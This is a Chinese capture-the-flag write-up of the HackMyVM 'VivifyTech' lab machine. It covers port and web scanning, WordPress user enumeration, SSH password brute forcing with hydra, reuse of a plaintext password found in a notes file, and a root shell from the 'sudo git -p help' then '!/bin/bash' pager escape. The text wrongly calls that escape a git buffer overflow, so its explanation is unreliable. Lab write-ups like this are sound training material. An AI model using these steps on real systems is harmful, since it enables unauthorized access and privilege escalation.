HackMyVM-VivifyTech
信息收集
0
1
arp-scan
┌──(root㉿0x00)-[~/HackMyVM]
└─# arp-scan -l
Interface:eth0,type:EN10MB,MAC:08:00:27:9d:6d:7b, IPv4: 192.168.9.183
Starting arp-scan 1.10.0 with 256 hosts
(https://github.com/royhills/arp-scan)
192.168.9.190 08:00:27:b8:65:fa PCS Systemtechnik GmbH
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in1.997 seconds (128.19 hosts/sec). 6 responded
使用arp-scan扫描局域网内设备的IP地址!
0
2
nmap扫描
端口信息收集
┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -p- 192.168.9.190 --min-rate 10000 -oA ports
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-0809:00 CST
Nmap scan report for192.168.9.190
Host is up (0.00042s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
33060/tcp open mysqlx
MAC Address: 08:00:27:B8:65:FA (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in32.31 seconds
-p- : 扫描IP的全端口!
--min-rate : 设置扫描速率
-oA : 保存到本地!
版本服务信息收集
┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -sC -sV -O -p 22,80,3306,33060 192.168.9.190 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-08 09:02 CST
Nmap scan report for 192.168.9.190
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 32:f3:f6:36:95:12:c8:18:f3:ad:b8:0f:04:4d:73:2f (ECDSA)
|_ 256 1d:ec:9c:6e:3c:cf:83:f6:f0:45:22:58:13:2f:d3:9e (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
3306/tcp open mysql MySQL (unauthorized)
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.94%I=7%D=5/8%Time=663ACF1A%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"x05000x0bx08x05x1a0")%r(GenericLines,9,"x05000x0bx
SF:08x05x1a0")%r(GetRequest,9,"x05000x0bx08x05x1a0")%r(HTTPOpt
SF:ions,9,"x05000x0bx08x05x1a0")%r(RTSPRequest,9,"x05000x0b
SF:x08x05x1a0")%r(RPCCheck,9,"x05000x0bx08x05x1a0")%r(DNSVersi
SF:onBindReqTCP,9,"x05000x0bx08x05x1a0")%r(DNSStatusRequestTCP,2B
SF:,"x05000x0bx08x05x1a0x1e000x01x08x01x10x88'x1ax0fIn
SF:validx20message"x05HY000")%r(Help,9,"x05���x0bx08x05x1a�")%
SF:r(SSLSessionReq,2B,"x05���x0bx08x05x1a�x1e���x01x08x01
SF:x10x88'x1ax0fInvalidx20message"x05HY000")%r(TerminalServerCookie,
SF:9,"x05���x0bx08x05x1a�")%r(TLSSessionReq,2B,"x05���x0bx0
SF:8x05x1a�x1e���x01x08x01x10x88'x1ax0fInvalidx20message"
SF:x05HY000")%r(Kerberos,9,"x05���x0bx08x05x1a�")%r(SMBProgNeg,9,
SF:"x05���x0bx08x05x1a�")%r(X11Probe,2B,"x05���x0bx08x05x
SF:1a�x1e���x01x08x01x10x88'x1ax0fInvalidx20message"x05HY00
SF:0")%r(FourOhFourRequest,9,"x05���x0bx08x05x1a�")%r(LPDString,9
SF:,"x05���x0bx08x05x1a�")%r(LDAPSearchReq,2B,"x05���x0bx08
SF:x05x1a�x1e���x01x08x01x10x88'x1ax0fInvalidx20message"x
SF:05HY000")%r(LDAPBindReq,46,"x05���x0bx08x05x1ax009���x01x
SF:08x01x10x88'x1a*Parsex20errorx20unserializingx20protobufx20mes
SF:sage"x05HY000")%r(SIPOptions,9,"x05���x0bx08x05x1a�")%r(LAND
SF:esk-RC,9,"x05���x0bx08x05x1a�")%r(TerminalServer,9,"x05���
SF:x0bx08x05x1a�")%r(NCP,9,"x05���x0bx08x05x1a�")%r(NotesRPC
SF:,2B,"x05���x0bx08x05x1a�x1e���x01x08x01x10x88'x1ax0
SF:fInvalidx20message"x05HY000")%r(JavaRMI,9,"x05���x0bx08x05x1
SF:a�")%r(WMSRequest,9,"x05���x0bx08x05x1a�")%r(oracle-tns,32,"
SF:x05���x0bx08x05x1a�%���x01x08x01x10x88'x1ax16Invalid
SF:x20message-frame."x05HY000")%r(ms-sql-s,9,"x05���x0bx08x05x1
SF:a�")%r(afp,2B,"x05���x0bx08x05x1a�x1e���x01x08x01x10
SF:x88'x1ax0fInvalidx20message"x05HY000");
MAC Address: 08:00:27:B8:65:FA (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.28 seconds
-sC: 启用 Nmap 的默认脚本集
-sV :扫描各版本信息
-O : 全扫描
-p22,80,3306,33060 : 指定端口!
0
3
nikto
┌──(root㉿0x00)-[~/HackMyVM]
└─# nikto -h 192.168.9.190
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.9.190
+ Target Hostname: 192.168.9.190
+ Target Port: 80
+ Start Time: 2024-05-08 09:00:54 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 60bc4bc0ba5e6, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found with value: <http://192.168.9.190/wordpress/index.php/wp-json/>; rel="https://api.w.org/". See: https://www.drupal.org/
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wordpress/wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2024-05-08 09:01:17 (GMT8) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
nikto:
Nikto 是一款常用的开源网络安全扫描工具,主要用于检测 Web 服务器上的各种安全漏洞和配置错误。它可以帮助安全专家和管理员评估服务器的安全性,并发现潜在的安全问题
nikto可以扫描到网站目录文件、网络漏洞、指纹信息等
这里我们探测到了wordpress系统,说明该网站使用的cms是wordpress!
0
4
whatweb
┌──(root㉿0x00)-[~/HackMyVM]
└─# whatweb -v 192.168.9.190
WhatWeb report for http://192.168.9.190
Status : 200 OK
Title : Apache2 Debian Default Page: It works
IP : 192.168.9.190
Country : RESERVED, ZZ
Summary : Apache[2.4.57], HTTPServer[Debian Linux][Apache/2.4.57 (Debian)]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.57 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Debian Linux
String : Apache/2.4.57 (Debian) (from server string)
HTTP Headers:
HTTP/1.1 200 OK
Date: Wed, 08 May 2024 01:01:03 GMT
Server: Apache/2.4.57 (Debian)
Last-Modified: Tue, 05 Dec 2023 15:17:36 GMT
ETag: "29cd-60bc4bc0ba5e6-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3041
Connection: close
Content-Type: text/html
whatweb也是一款网站指纹识别工具!
WEB
0
1
web信息收集
因为先前使用nikto探测到了wordpress!我们查看!
可以看到主页并没有什么关键信息!
0
2
wpscan
既然是wordpress,我们就使用wpscan枚举用户!
枚举到用户 : sancelisso
既然如此,我们尝试爆破密码!
爆破了很久,没有出来!我们目录扫描一下!
0 3 feroxbuster
可以扫描出一大堆目录!我们只查看关键的!
应该是一个字典文件!我们使用这个字典文件爆破一下密码! 下载到本地!
不是密码??那就换成ssh爆破一下!
还是失败!! 思路到这,我已经大概知道了,因为登录不进wordpress,所以他的各种主题插件漏洞就不可以利用! 那么只能爆破密码!我们知道了密码字典,但是还是爆破不出来!那就很有可能这个不是用来爆破wordpress用户密码的,可能这个字典是用来爆破ssh服务的, 因为wordpress用户爆破ssh失败,所以我们需要重新收集用户名称,我们需要其他用户的名称进行ssh爆破!
0 3 hydra
通过读取两篇文章,我们可以获取以下名称: Sarah Mark Emily Jake
成功! sarah:bohicon
提权
0
1
系统信息收集
sarah@VivifyTech:~$ ls
user.txt
sarah@VivifyTech:~$ cat user.txt
HMV{Y0u_G07_Th15_0ne_6543}
sarah@VivifyTech:~$
sarah@VivifyTech:~$ cat /etc/passwd | grep "home" | grep -v "nologin"
user:x:1000:1000:user,,,:/home/user:/bin/bash
sarah:x:1001:1001:Sarah,,,:/home/sarah:/bin/bash
gbodja:x:1002:1002:gbodja,,,:/home/gbodja:/bin/bash
emily:x:1003:1003:Emily,,,:/home/emily:/bin/bash
sarah@VivifyTech:~$ sudo -l
[sudo] password for sarah:
Sorry, user sarah may not run sudo on VivifyTech.
sarah@VivifyTech:~/.private$ ls -al
total 12
drwxr-xr-x 2 sarah sarah 4096 Dec 5 16:19 .
drwx------ 4 sarah sarah 4096 Dec 5 17:53 ..
-rw-r--r-- 1 sarah sarah 274 Dec 5 16:19 Tasks.txt
sarah@VivifyTech:~/.private$ cat Tasks.txt
- Change the Design and architecture of the website
- Plan for an audit, it seems like our website is vulnerable
- Remind the team we need to schedule a party before going to holidays
- Give this cred to the new intern for some tasks assigned to him - gbodja:4Tch055ouy370N
得到了gbodja用户的密码!
0 2 横向渗透
sarah@VivifyTech:~/.private$ su gbodja
Password:
gbodja@VivifyTech:/home/sarah/.private$ id
uid=1002(gbodja) gid=1002(gbodja) groups=1002(gbodja),100(users)
sarah@VivifyTech:~/.private$ su gbodja
Password:
gbodja@VivifyTech:/home/sarah/.private$ id
uid=1002(gbodja) gid=1002(gbodja) groups=1002(gbodja),100(users)
0 3 git提权
1、sudo -l 可以看到git存在root权限,所以不需要输入root密码 payload :" sudo git -p help " | " !/bin/bash " 2、这里是因为git存在缓冲区溢出漏洞,在使用sudo git-p help时,不需要输入root密码即可以root权限执行这条命令 0 4 get root
# pwd
/root
# ls
root.txt
# cat root.txt
HMV{Y4NV!7Ch3N1N_Y0u_4r3_7h3_R007_8672}
原文始发于微信公众号(ZeroPointZero安全团队):HackMyVM-VivifyTech靶机学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论